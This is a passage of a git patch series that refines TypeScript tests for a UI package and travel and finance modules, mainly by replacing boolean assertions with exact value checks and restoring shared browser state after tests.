"places/_index.md"]); const trips = read(root, "trips/_index.md"); const [before, after] = prose.split(/[\s\S]*/); - expect(trips.startsWith(before.replace(/^updated: .*$/m, trips.match(/^updated: .*$/m)![0]))).toBe(true); - expect(trips.endsWith(after)).toBe(true); + const head = before.replace(/^updated: .*$/m, trips.match(/^updated: .*$/m)![0]); + expect(trips.slice(0, head.length)).toBe(head); + expect(trips.slice(trips.length - after.length)).toBe(after); expect(after).toBe("\n\nNotes kept by hand.\n"); expect(region(root, "trips/_index.md", "travel-trips")).toBe([ "_Generated from each trip's frontmatter by `brain travel sync`. Edit the trips, not these tables._", From 492176a9b05084c3dc44304f737af938f78ee7ec Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:10:14 +0100 Subject: [PATCH 198/252] test(ui-react): activity report values, not booleans; restore the theme Test-Health: th-20261110190028-150ab8#0 --- packages/ui-react/tests/activity-report.test.ts | 6 +++--- packages/ui-react/tests/browser/activity-report.layout.tsx | 3 +++ 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/activity-report.test.ts b/packages/ui-react/tests/activity-report.test.ts index 55d6911642..f8abcfbefc 100644 --- a/packages/ui-react/tests/activity-report.test.ts +++ b/packages/ui-react/tests/activity-report.test.ts @@ -65,7 +65,7 @@ describe("the default body is an allowlist", () => { "failed steps: Bash, other tool", "billing: subscription", ]); - expect(body.startsWith("## What were you doing?\n\n## Steps to reproduce\n1.\n\n## Expected\n\n## Actual\n")).toBe(true); + expect(body).toStartWith("## What were you doing?\n\n## Steps to reproduce\n1.\n\n## Expected\n\n## Actual\n"); }); test("secrets, paths, hosts, private prose, job names, IDs and payloads are absent by default", () => { @@ -155,7 +155,7 @@ describe("version lines (acceptance check 11, amended)", () => { describe("opt-in inclusions", () => { test("the failure reason is redacted and labelled", () => { const block = failureReasonInclusion(run, spans)!; - expect(block.startsWith("Failure reason (review before sharing):\n")).toBe(true); + expect(block).toStartWith("Failure reason (review before sharing):\n"); expect(block).not.toContain(SECRET); expect(block).not.toContain(PATH); expect(block).not.toContain(HOST); @@ -183,7 +183,7 @@ describe("opt-in inclusions", () => { test("a job name is operator text: redacted and visibly capped like the reason", () => { const named = jobNameInclusion({ ...run, jobName: `sync ${PATH} via ${HOST} token=${SECRET}` })!; - expect(named.startsWith("job: sync [redacted path]")).toBe(true); + expect(named).toStartWith("job: sync [redacted path]"); for (const leak of [PATH, HOST, SECRET]) expect(named).not.toContain(leak); const long = jobNameInclusion({ ...run, jobName: "Scylla ".repeat(600).trim() })!; expect(long.split("\n")[0]!.length).toBe("job: ".length + INCLUDED_TEXT_CAP); diff --git a/packages/ui-react/tests/browser/activity-report.layout.tsx b/packages/ui-react/tests/browser/activity-report.layout.tsx index 6a3b060aab..f9e8102ce6 100644 --- a/packages/ui-react/tests/browser/activity-report.layout.tsx +++ b/packages/ui-react/tests/browser/activity-report.layout.tsx @@ -44,6 +44,7 @@ let style: HTMLStyleElement | undefined; let outerBefore: { width: number; height: number } | undefined; let frameBefore: { width: number; height: number } | undefined; let opened: string[] = []; +const themeBefore = document.documentElement.dataset.theme; beforeEach(() => { opened = []; @@ -68,6 +69,8 @@ afterEach(async () => { document.querySelectorAll("dialog").forEach((d) => d.remove()); renderer = undefined; ui = undefined; host = undefined; style = undefined; vi.unstubAllGlobals(); + if (themeBefore === undefined) delete document.documentElement.dataset.theme; + else document.documentElement.dataset.theme = themeBefore; if (frameBefore) await page.viewport(frameBefore.width, frameBefore.height); if (outerBefore) await commands.formViewport(outerBefore.width - 100, outerBefore.height - 120); }); From 2715d0986c73ad6069fd2668f9ff303bdd24140d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:14:40 +0100 Subject: [PATCH 199/252] test(ui-react): await the API client's rejection checks and name the 404 Test-Health: th-20261110190028-150ab8#3 --- packages/ui-react/tests/api-client.test.ts | 4 ++-- packages/ui-react/tests/api-instances.test.ts | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/api-client.test.ts b/packages/ui-react/tests/api-client.test.ts index 7a549670d1..5e9d0c6b1c 100644 --- a/packages/ui-react/tests/api-client.test.ts +++ b/packages/ui-react/tests/api-client.test.ts @@ -94,7 +94,7 @@ describe("API client URL building", () => { status: 500, headers: { "Content-Type": "application/json" }, })) as unknown as typeof fetch; - expect(api.brainSearch("test")).rejects.toThrow("Search failed"); + await expect(api.brainSearch("test")).rejects.toThrow("Search failed"); }); }); @@ -140,7 +140,7 @@ describe("billing overrides and pricing state", () => { status: 404, headers: { "Content-Type": "application/json" }, })) as unknown as typeof fetch; - expect(api.pricingState()).rejects.toThrow(); + await expect(api.pricingState()).rejects.toMatchObject({ status: 404, message: "Not found" }); }); }); diff --git a/packages/ui-react/tests/api-instances.test.ts b/packages/ui-react/tests/api-instances.test.ts index 11588211f7..b85f509198 100644 --- a/packages/ui-react/tests/api-instances.test.ts +++ b/packages/ui-react/tests/api-instances.test.ts @@ -54,7 +54,7 @@ describe("independent UI clients", () => { expect(upload.body).toBeInstanceOf(FormData); expect((upload.body as FormData).get("overwrite")).toBe("false"); // The browser must add the multipart boundary, including on an instance. - expect(new Headers(upload.headers).has("Content-Type")).toBe(false); + expect(new Headers(upload.headers).get("Content-Type")).toBeNull(); }); test("configuration supplied after construction reaches JSON and multipart calls", async () => { From 971d849c04eeed0fe9919f81a54311e0a5f14767 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:17:28 +0100 Subject: [PATCH 200/252] test(ui-react): Gemini stop releases the one granted track, not every member of an empty list Test-Health: th-20261110190028-150ab8#6 --- packages/ui-react/tests/asr-gemini.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/asr-gemini.test.ts b/packages/ui-react/tests/asr-gemini.test.ts index 633510d67f..1e072f44de 100644 --- a/packages/ui-react/tests/asr-gemini.test.ts +++ b/packages/ui-react/tests/asr-gemini.test.ts @@ -293,7 +293,7 @@ describe("GeminiAsrClient wire behaviour", () => { for (let i = 0; i <= GEMINI_PRESETUP_FRAMES; i++) h.speak(GEMINI_FRAME_SAMPLES * 3); expect(h.errors.map((error) => (error as Error & { code?: string }).code)).toEqual(["network"]); expect(h.closes()).toBe(1); - expect(h.tracks.every((track) => track.readyState === "ended")).toBe(true); + expect(h.tracks.map((track) => track.readyState)).toEqual(["ended"]); expect(h.socket().readyState).toBe(3); }); @@ -897,8 +897,8 @@ describe("GeminiAsrClient wire behaviour", () => { const starting = h.client.start(); h.client.stop(); await starting; - expect(h.tracks.every((track) => track.readyState === "ended")).toBe(true); - expect(h.sockets.every((socket) => socket.readyState === 3)).toBe(true); + expect(h.tracks.map((track) => track.readyState), "GEMINI_STOP_RELEASES_GRANTED_STREAM").toEqual(["ended"]); + expect(h.sockets.map((socket) => socket.readyState)).toEqual([3]); }); for (const [name, end, code] of [ From 2eeb2b1169bd88e142112dfad6b706c058766338 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:20:28 +0100 Subject: [PATCH 201/252] test(ui-react): a sent binary row's kind label is a literal, not read back from the code Test-Health: th-20261110190028-150ab8#8 --- packages/ui-react/tests/attachment-reads.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-react/tests/attachment-reads.test.ts b/packages/ui-react/tests/attachment-reads.test.ts index 8133471c7e..767a9e41e8 100644 --- a/packages/ui-react/tests/attachment-reads.test.ts +++ b/packages/ui-react/tests/attachment-reads.test.ts @@ -59,7 +59,7 @@ describe("readCopy", () => { describe("attachmentRowProps", () => { test("without records the row claims neither read nor not read yet", () => { expect(meta(PERMIT)).toBe("PDF · 2.4 MB · sent"); - expect(meta(SIRENS)).toBe("Binary · 3.1 MB · sent".replace("Binary", attachmentRowProps(SIRENS).meta![0]!.split(" · ")[0]!)); + expect(meta(SIRENS)).toBe("File · 3.1 MB · sent"); }); test("with records, an unread readable file is not read yet and an unreadable one has no reader", () => { expect(meta(PERMIT, [])).toBe("PDF · 2.4 MB · not read yet"); From 931fb4ce676ee5f561c6b286386d441d75d9d720 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:23:27 +0100 Subject: [PATCH 202/252] test(ui-react): browser rejection prints which later delivery was unbound Test-Health: th-20261110190028-150ab8#13 --- packages/ui-react/tests/browser-rejection-runtime.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-react/tests/browser-rejection-runtime.test.ts b/packages/ui-react/tests/browser-rejection-runtime.test.ts index ac810f54eb..663068ba19 100644 --- a/packages/ui-react/tests/browser-rejection-runtime.test.ts +++ b/packages/ui-react/tests/browser-rejection-runtime.test.ts @@ -86,7 +86,7 @@ test.skipIf(!executablePath)("a browser rejection preserves creation before a la await finished; // Browser-side fetch completion can precede driver event delivery. expect(trace.filter(event => event.phase === "enqueue").map(event => event.method)).toEqual(["__create__", "response", "requestFinished"]); expect(trace.filter(event => event.phase === "deliver").map(event => event.method)).toEqual(["__create__", "response", "requestFinished"]); - expect(trace.filter(event => event.phase === "deliver" && event.method !== "__create__").every(event => event.bound)).toBe(true); + expect(trace.filter(event => event.phase === "deliver" && event.method !== "__create__").map(event => [event.method, event.bound]), "later deliveries reach a bound Response").toEqual([["response", true], ["requestFinished", true]]); passed = true; } finally { if (!passed) console.error("BROWSER_REJECTION_PROTOCOL", JSON.stringify(trace)); From 696f6c6bb6b3709fa0ac8a1957eb1f74dc6de2aa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:51:29 +0100 Subject: [PATCH 203/252] test(ui-react): rail pointer files give back the shared window, and Graph's no-chord claim presses the next digits Test-Health: th-20261110190028-150ab8#22 --- .../tests/browser/desktop-navigation.pointer.tsx | 12 ++++++++++-- .../tests/browser/destination-press.pointer.tsx | 6 +++++- 2 files changed, 15 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/browser/desktop-navigation.pointer.tsx b/packages/ui-react/tests/browser/desktop-navigation.pointer.tsx index 8aef1f2d22..1ace8c44a1 100644 --- a/packages/ui-react/tests/browser/desktop-navigation.pointer.tsx +++ b/packages/ui-react/tests/browser/desktop-navigation.pointer.tsx @@ -58,6 +58,8 @@ let ui: BrainUiRoot | undefined; let host: HTMLDivElement | undefined; let style: HTMLStyleElement | undefined; const originalTheme = document.documentElement.dataset.theme; +// The outer window is shared with every later file in the project: give it back. +let outer: { width: number; height: number } | undefined; beforeEach(() => { vi.stubGlobal("WebSocket", FixtureSocket); @@ -79,6 +81,8 @@ afterEach(async () => { vi.unstubAllGlobals(); if (originalTheme === undefined) delete document.documentElement.dataset.theme; else document.documentElement.dataset.theme = originalTheme; + if (outer) await commands.formViewport(outer.width - 100, outer.height - 120); + outer = undefined; }); function pointerScene() { @@ -90,7 +94,8 @@ function pointerScene() { async function mount(width: number, height: number, theme: "dark" | "light", connected = false, pages = false) { await page.viewport(width, height); - await commands.formViewport(width, height); + const previous = await commands.formViewport(width, height); + outer ??= previous; style = document.createElement("style"); style.textContent = await commands.formConsumerStyles(); document.head.append(style); @@ -374,7 +379,10 @@ for (const theme of ["dark", "light"] as const) { await userEvent.keyboard("{Meta>}1{/Meta}"); expect(state().activeView).toBe("chat"); expect(amber()).toBe(0); - expect(state().activeView === "graph", "no chord reaches Graph").toBe(false); + // Graph follows the five in the palette: the next digits must not reach it. + await userEvent.keyboard("{Meta>}6{/Meta}"); + await userEvent.keyboard("{Meta>}7{/Meta}"); + expect(state().activeView, "NO_CHORD_REACHES_GRAPH").toBe("chat"); }); test(`the panel destination you are on never closes, by chord or rail (D52 N3): ${theme}, ${width}`, async () => { diff --git a/packages/ui-react/tests/browser/destination-press.pointer.tsx b/packages/ui-react/tests/browser/destination-press.pointer.tsx index 56c7440bc7..b295d99b51 100644 --- a/packages/ui-react/tests/browser/destination-press.pointer.tsx +++ b/packages/ui-react/tests/browser/destination-press.pointer.tsx @@ -133,6 +133,8 @@ type Scene = { ui: BrainUiRoot; host: HTMLDivElement; width: number; signal: Abo let styles: HTMLStyleElement | undefined; let viewport: { width: number; height: number }; let sized: string | undefined; +// The outer window is shared with every later file in the project: give it back. +let outer: { width: number; height: number } | undefined; beforeAll(async () => { viewport = { width: window.innerWidth, height: window.innerHeight }; @@ -143,6 +145,7 @@ beforeAll(async () => { afterAll(async () => { styles?.remove(); await page.viewport(viewport.width, viewport.height); + if (outer) await commands.formViewport(outer.width - 100, outer.height - 120); }); afterEach(async () => { await commands.htmlPreviewFixture(null); @@ -188,7 +191,8 @@ async function mount(ctx: TestContext, start: Start, width: number, height: numb if (sized !== `${width}x${height}`) { sized = undefined; await page.viewport(width, height); - await commands.formViewport(width, height); + const previous = await commands.formViewport(width, height); + outer ??= previous; sized = `${width}x${height}`; } ctx.signal.throwIfAborted(); From b0f28cad12f0fbdfb6195a82d1eca8fed3c8fad3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:53:23 +0100 Subject: [PATCH 204/252] test(ui-react): orbit overlaps name the pair; consent pins the one ended track and lists stray epoch-2 audio Test-Health: th-20261110190028-150ab8#14 --- packages/ui-react/tests/browser/agent-orbit.layout.tsx | 2 +- .../ui-react/tests/browser/conversation-consent.offline.tsx | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/browser/agent-orbit.layout.tsx b/packages/ui-react/tests/browser/agent-orbit.layout.tsx index 7d28f8cf96..c0ffdfc5e9 100644 --- a/packages/ui-react/tests/browser/agent-orbit.layout.tsx +++ b/packages/ui-react/tests/browser/agent-orbit.layout.tsx @@ -44,7 +44,7 @@ function noIntersections(elements: HTMLElement[]) { expect(elements.length).toBeGreaterThan(0); for(const [i,a] of elements.entries())for(const b of elements.slice(i+1)) { const x=a.getBoundingClientRect(),y=b.getBoundingClientRect(); - expect(x.right<=y.left+.5||y.right<=x.left+.5||x.bottom<=y.top+.5||y.bottom<=x.top+.5).toBe(true); + expect(x.right<=y.left+.5||y.right<=x.left+.5||x.bottom<=y.top+.5||y.bottom<=x.top+.5,`ORBIT_OVERLAP ${a.outerHTML.slice(0,80)} ${JSON.stringify(x)} overlaps ${b.outerHTML.slice(0,80)} ${JSON.stringify(y)}`).toBe(true); } } for(const width of [320,390,1280])for(const theme of ["dark","light"]) { diff --git a/packages/ui-react/tests/browser/conversation-consent.offline.tsx b/packages/ui-react/tests/browser/conversation-consent.offline.tsx index d4adc70e7f..4d876be3cc 100644 --- a/packages/ui-react/tests/browser/conversation-consent.offline.tsx +++ b/packages/ui-react/tests/browser/conversation-consent.offline.tsx @@ -135,13 +135,13 @@ for (const change of ["backend", "model", "removed", "replaced-id"] as const) te s.ui.stores.provider.setState({ available: changed }); expect(s.client.state.getState().micOn, "PROFILE_CHANGE_REVOKES_CAPTURE_IMMEDIATELY").toBe(false); expect(s.client.state.getState().disclosureOpen).toBe(true); - expect(mic.streams[0]!.getTracks().every(track => track.readyState === "ended")).toBe(true); + expect(mic.streams[0]!.getTracks().map(track => track.readyState), "PROFILE_CHANGE_ENDS_CAPTURE_TRACKS").toEqual(["ended"]); s.client.resume(); expect(mic.opens()).toBe(1); s.deliver({ type: "conversation_closed", conversationId: PROFILE.conversationId, epoch: 1, reason: "provider_closed" }); s.opened(2); expect(s.client.state.getState().micOn).toBe(false); - expect(s.socket.frames("conversation_audio").some(f => f.epoch === 2)).toBe(false); + expect(s.socket.frames("conversation_audio").filter(f => f.epoch === 2), "NO_EPOCH_2_AUDIO_BEFORE_START").toEqual([]); s.client.start(); await expect.poll(() => s.client.state.getState().micOn).toBe(true); expect(mic.opens()).toBe(2); From 9678c348337596e825a8235077483e40d8ee41a9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:53:23 +0100 Subject: [PATCH 205/252] test(ui-react): composer file checks print the offending route calls and classes Test-Health: th-20261110190028-150ab8#19 --- packages/ui-react/tests/browser/composer-files.offline.tsx | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/browser/composer-files.offline.tsx b/packages/ui-react/tests/browser/composer-files.offline.tsx index 323690eaf2..f36ac45e5c 100644 --- a/packages/ui-react/tests/browser/composer-files.offline.tsx +++ b/packages/ui-react/tests/browser/composer-files.offline.tsx @@ -222,7 +222,7 @@ test("PDF, unknown binary and track go to the neutral route as their own bytes, expect([...up.bytes], `${file.name} arrives byte for byte`).toEqual([...new Uint8Array(await file.arrayBuffer())]); expect(up.draftId).toBe(s.draft()?.draftId ?? s.root.stores.drafts.getState().idFor(SESSION)); } - expect(s.files.calls.some((c) => c.endsWith("/track-upload")), "no file goes through the track-only route").toBe(false); + expect(s.files.calls.filter((c) => c.endsWith("/track-upload")), "no file goes through the track-only route").toEqual([]); await expect.poll(() => s.status("ithaca-permit.pdf")).toMatch(/^PDF · \d+ B · not read yet$/); expect(s.chip("ithaca-permit.pdf")!.textContent).toContain("Your agent opens it when it needs the contents."); await expect.poll(() => s.status("sirens.m4a")).toBe("12 B · no reader here"); @@ -271,7 +271,7 @@ test("a lost upload answer reads as unconfirmed, and reconnecting uploads it aga await expect.poll(() => s.status("ithaca-permit.pdf")).toBe("checking upload…"); const again = s.chip("ithaca-permit.pdf")!.querySelector('[aria-label="Upload again ithaca-permit.pdf"]'); expect(again, "the action is an upload, never 'Check'").not.toBeNull(); - expect(again!.classList.contains("bk-hit"), "44px reach on a coarse pointer without a painted box").toBe(true); + expect([...again!.classList], "44px reach on a coarse pointer without a painted box").toContain("bk-hit"); expect(s.chip("ithaca-permit.pdf")!.textContent).not.toMatch(/not stored|nothing was stored|\bCheck\b/); s.root.stores.connection.setState({ wsStatus: "disconnected" }); await new Promise((resolve) => setTimeout(resolve, 0)); @@ -310,5 +310,5 @@ test("pasted and dropped files take the same route as picked ones", async () => const dropped = new DataTransfer(); dropped.items.add(sirens()); s.host.querySelector("[data-composer]")!.dispatchEvent(new DragEvent("drop", { bubbles: true, cancelable: true, dataTransfer: dropped })); await expect.poll(() => s.files.uploads.map((u) => u.name).sort(), { timeout: 5_000 }).toEqual(["ithaca-permit.pdf", "sirens.m4a"]); - expect(s.files.calls.some((c) => c.endsWith("/track-upload"))).toBe(false); + expect(s.files.calls.filter((c) => c.endsWith("/track-upload")), "pasted and dropped files skip the track-only route").toEqual([]); }); From e4dd5ea943fa80bc19f97f27983749f8ed288289 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:57:02 +0100 Subject: [PATCH 206/252] test(ui-react): runtime answer checks print stray frames, approval recovery counts its own decisions, association copy names its suite Test-Health: th-20261110190028-150ab8#2 --- packages/ui-react/tests/answer-delivery-runtime.test.ts | 8 ++++---- packages/ui-react/tests/approval-recovery-runtime.test.ts | 6 ++++-- .../ui-react/tests/association-signout-runtime.test.ts | 8 ++++---- 3 files changed, 12 insertions(+), 10 deletions(-) diff --git a/packages/ui-react/tests/answer-delivery-runtime.test.ts b/packages/ui-react/tests/answer-delivery-runtime.test.ts index fcf5c66124..c9b9d113e5 100644 --- a/packages/ui-react/tests/answer-delivery-runtime.test.ts +++ b/packages/ui-react/tests/answer-delivery-runtime.test.ts @@ -692,7 +692,7 @@ describe.skipIf(!executablePath)("answer delivery in a real browser", () => { expect(await page.locator('[data-answer-delivery="update"] h4').textContent()).toBe("CAN'T SEND · UPDATE NEEDED"); await page.waitForTimeout(500); expect(settlements.get(requestId)).toEqual([]); - expect(net.frames.some((f) => f.dir === "up" && f.type === "ask_user_rank_response")).toBe(false); + expect(net.frames.filter((f) => f.dir === "up" && f.type === "ask_user_rank_response")).toEqual([]); } finally { await context.close(); } @@ -712,7 +712,7 @@ describe.skipIf(!executablePath)("answer delivery in a real browser", () => { await waitForState(page, requestId, "notSaved"); expect(await page.locator('[data-answer-delivery="notSaved"] h4').textContent()).toBe("NOT SAVED ON THIS DEVICE"); expect(await page.getByRole("textbox", { name: "Supply note", exact: true }).inputValue()).toBe(NOTE); - expect(net.frames.some((f) => f.dir === "up" && f.type === "ask_user_form_response")).toBe(false); + expect(net.frames.filter((f) => f.dir === "up" && f.type === "ask_user_form_response")).toEqual([]); expect(settlements.get(requestId)).toEqual([]); } finally { await context.close(); @@ -734,7 +734,7 @@ describe.skipIf(!executablePath)("answer delivery in a real browser", () => { await online(page); await waitForState(page, requestId, "signedOut"); expect(await page.locator('[data-answer-delivery="signedOut"] h4').textContent()).toBe("NOT SENT · SIGNED OUT"); - expect(net.frames.some((f) => f.dir === "up" && (f.type === "ask_user_list_response" || f.type === "ask_answer_status"))).toBe(false); + expect(net.frames.filter((f) => f.dir === "up" && (f.type === "ask_user_list_response" || f.type === "ask_answer_status"))).toEqual([]); expect(settlements.get(requestId)).toEqual([]); } finally { await context.close(); @@ -917,7 +917,7 @@ describe.skipIf(!executablePath)("answer delivery in a real browser", () => { await page.waitForFunction("window.__answers?.connected()"); await page.waitForTimeout(300); expect(await page.evaluate(() => (window as unknown as { __answers: { held(): unknown[] } }).__answers.held())).toEqual([]); - expect(net.frames.some((f) => f.dir === "up" && (f.type === "ask_user_response" || f.type === "ask_answer_status"))).toBe(false); + expect(net.frames.filter((f) => f.dir === "up" && (f.type === "ask_user_response" || f.type === "ask_answer_status"))).toEqual([]); } finally { await context.close(); } diff --git a/packages/ui-react/tests/approval-recovery-runtime.test.ts b/packages/ui-react/tests/approval-recovery-runtime.test.ts index ca47897ac7..6570475f01 100644 --- a/packages/ui-react/tests/approval-recovery-runtime.test.ts +++ b/packages/ui-react/tests/approval-recovery-runtime.test.ts @@ -102,6 +102,8 @@ async function transcript(page: Page) { describe.skipIf(!executablePath)("mounted approval recovery", () => { test("a reload whose replay ends on the user's message restores the pending card, marked restored and answerable", async () => { + // The backend's decisions outlive each test: count only this test's own. + const decided = decisions.size; const context = await browser!.newContext(); await context.route("**/*", (route) => new URL(route.request().url()).origin === origin ? route.continue() : route.abort()); const page = await context.newPage(); @@ -127,11 +129,11 @@ describe.skipIf(!executablePath)("mounted approval recovery", () => { expect(restored.text).toContain("Row past the Sirens"); expect(restored.text).not.toContain("Completed"); // Nothing was answered by the reload itself. - expect(decisions.size).toBe(0); + expect(decisions.size).toBe(decided); await page.locator("[data-approval-card]").getByRole("button", { name: "Allow", exact: true }).click(); await page.getByText("Completed Row past the Sirens", { exact: true }).first().waitFor(); - expect([...decisions.values()]).toEqual(["allow"]); + expect([...decisions.values()].slice(decided)).toEqual(["allow"]); expect((await transcript(page)).cards).toBe(0); } finally { await context.close(); } }); diff --git a/packages/ui-react/tests/association-signout-runtime.test.ts b/packages/ui-react/tests/association-signout-runtime.test.ts index cc3ea75c8f..f9308b3155 100644 --- a/packages/ui-react/tests/association-signout-runtime.test.ts +++ b/packages/ui-react/tests/association-signout-runtime.test.ts @@ -18,8 +18,8 @@ import { createFixtureBrain } from "../../../scripts/captures/core-fixture.ts"; // and composed Settings/Dictation handlers exercise deletion and modal races. const candidates = [process.env.PUPPETEER_EXECUTABLE_PATH, "/usr/bin/google-chrome-stable", "/usr/bin/google-chrome", "/usr/bin/chromium", "/usr/bin/chromium-browser"]; const executablePath = candidates.find((path) => path && statSync(path, { throwIfNoEntry: false })?.isFile()); -if (!executablePath && !process.env.BRAIN_PINNED_CHROMIUM && process.env.BRAIN_REQUIRE_CHROME === "1") throw new Error("Local work runtime proof requires real Chrome"); -if (!executablePath && !process.env.BRAIN_PINNED_CHROMIUM) console.warn("SKIPPING local work runtime proof: no Chrome; device-local drafts are unverified in a browser locally."); +if (!executablePath && !process.env.BRAIN_PINNED_CHROMIUM && process.env.BRAIN_REQUIRE_CHROME === "1") throw new Error("Association sign-out runtime proof requires real Chrome"); +if (!executablePath && !process.env.BRAIN_PINNED_CHROMIUM) console.warn("SKIPPING association sign-out runtime proof: no Chrome; association and scoped sign-out are unverified in a browser locally."); const repo = resolve(import.meta.dir, "../../.."); const PASSWORD = "the bow only Odysseus can string"; @@ -81,7 +81,7 @@ const hook = runtimeHookPhases("association-signout-runtime.test.ts"); beforeAll(() => hook.phase("setup", async () => { if (!executablePath && !process.env.BRAIN_PINNED_CHROMIUM) return; const [out, err, code] = await runtimePackageBuild(repo, ["ui-react", "ui-server", "core"], hook); - if (code !== 0) throw new Error(`Local work fixture package build failed (${code}): ${out}\n${err}`); + if (code !== 0) throw new Error(`Association sign-out fixture package build failed (${code}): ${out}\n${err}`); scratch = await mkdtemp(resolve(tmpdir(), "odysseus-association-signout-")); brain = resolve(scratch, "brain"); await hook.phase("fixture-files", () => createFixtureBrain(repo, brain)); @@ -89,7 +89,7 @@ beforeAll(() => hook.phase("setup", async () => { await mkdir(assets); const bundle = Bun.spawn([process.execPath, "-e", 'const result = await Bun.build({entrypoints:[process.argv[1]],target:"browser",outdir:process.argv[2],naming:"client.js"}); if(!result.success){console.error(result.logs);process.exit(1);}', resolve(import.meta.dir, "fixtures/association-signout-client.tsx"), assets], { cwd: repo, stdout: "pipe", stderr: "pipe" }); const [bundleOut, bundleErr, bundleCode] = await hook.child("client-build", bundle); - if (bundleCode !== 0) throw new Error(`Local work client build failed (${bundleCode}): ${bundleOut}\n${bundleErr}`); + if (bundleCode !== 0) throw new Error(`Association sign-out client build failed (${bundleCode}): ${bundleOut}\n${bundleErr}`); await hook.phase("fixture-assets", async () => { await writeFile(resolve(assets, "index.html"), '
'); await writeFile(resolve(assets, "signout-worker.js"), 'self.addEventListener("install",event=>event.waitUntil(caches.open("odysseus-signout-shell").then(cache=>cache.addAll(["/","/client.js","/kit.css","/app.css"]))));self.addEventListener("activate",event=>event.waitUntil(self.clients.claim()));self.addEventListener("fetch",event=>{if(new URL(event.request.url).pathname.startsWith("/api/"))return;event.respondWith(fetch(event.request).catch(()=>caches.match(event.request)));});'); From d9d3969421254ffd7fc75257b34bbc79c674906f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:30:03 +0100 Subject: [PATCH 207/252] test(module-travel): pin the exact TypeScript migration output for an existing travel object Test-Health: th-20261110205849-494496#5 --- .../module-travel/tests/foundation.test.ts | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/packages/module-travel/tests/foundation.test.ts b/packages/module-travel/tests/foundation.test.ts index b969c7d3ad..b4d7768dd2 100644 --- a/packages/module-travel/tests/foundation.test.ts +++ b/packages/module-travel/tests/foundation.test.ts @@ -103,17 +103,18 @@ export default defineConfig({ }); test("TypeScript property separators and comments survive owned-field removal", () => { - for (const block of [ - `travelParty: ${JSON.stringify(party)}, retained: "yes"`, - `retained: "yes", /* retain this */ travelParty: ${JSON.stringify(party)}`, - `travelParty: ${JSON.stringify(party)},`, - ]) { - const source = `export default {modules:{"${SPEAKING}":{${block}},"${TRAVEL}":{retained:"target",}}};`; - const plan = planTravelConfigMigration(source, "ts"); - expect(plan.changed).toBe(true); - expect(plan.source).toContain('retained:"target"'); - if (block.includes('retained: "yes"')) expect(plan.source).toContain('retained: "yes"'); - if (block.includes('/* retain this */')) expect(plan.source).toContain('/* retain this */'); + const moved = JSON.stringify(party); + const config = (speakingBody: string, travelBody: string) => + `export default {modules:{"${SPEAKING}":{${speakingBody}},"${TRAVEL}":{${travelBody}}}};`; + const target = `retained:"target", "travelParty": ${moved} `; + for (const [block, retained] of [ + [`travelParty: ${moved}, retained: "yes"`, ` retained: "yes"`], + [`retained: "yes", /* retain this */ travelParty: ${moved}`, `retained: "yes" /* retain this */ `], + [`travelParty: ${moved},`, ""], + ] as const) { + const plan = planTravelConfigMigration(config(block, `retained:"target",`), "ts"); + // The party lands in the existing travel object after its own trailing comma; every other byte stays. + expect(plan).toEqual({ source: config(retained, target), changed: true }); expect(planTravelConfigMigration(plan.source, "ts")).toEqual({ source: plan.source, changed: false }); } }); From 82fcdada8cd45e7c74eeaf3d779e9b4944ef59b9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 22:30:09 +0100 Subject: [PATCH 208/252] test(module-finance): assert the parsed documented config and report unclosed table rows Test-Health: th-20261110212456-ee09ef#0 --- packages/module-finance/tests/finance.test.ts | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/packages/module-finance/tests/finance.test.ts b/packages/module-finance/tests/finance.test.ts index d7aaf69516..d1379536e9 100644 --- a/packages/module-finance/tests/finance.test.ts +++ b/packages/module-finance/tests/finance.test.ts @@ -87,7 +87,13 @@ describe("module manifest", () => { }); test("configSchema accepts the documented config block", () => { - expect(() => configSchema.parse({ clientsDir: "clients", feeTolerance: 30 })).not.toThrow(); + // The README's block names two keys; the parsed config keeps them and fills the rest. + expect(configSchema.parse({ clientsDir: "clients", feeTolerance: 30 })).toEqual({ + clientsDir: "clients", + feeTolerance: 30, + currency: "USD", + termsDays: 30, + }); }); test("taxonomy roundtrip: dirForType/typeForPath are inverse for finance", () => { @@ -177,7 +183,9 @@ describe("the generated region (#403)", () => { expect({ path, markerLines }).toEqual({ path, markerLines: ["", CLOSE] }); const region = readGeneratedRegion(text, "finance")!; // Every table row is still one line with its own cells. - for (const row of region.split("\n").filter((line) => line.startsWith("|"))) expect(row.endsWith("|")).toBe(true); + const rows = region.split("\n").filter((line) => line.startsWith("|")); + expect(rows.length).toBeGreaterThan(0); + expect({ path, unclosedRows: rows.filter((row) => !row.endsWith("|")) }).toEqual({ path, unclosedRows: [] }); } expect(readGeneratedRegion(readFileSync(ledger, "utf8"), "finance")).toContain("wire <!-- /brain:generated:finance --> rest"); expect(readGeneratedRegion(readFileSync(ledger, "utf8"), "finance")).toContain("| 2026-acme\\|01 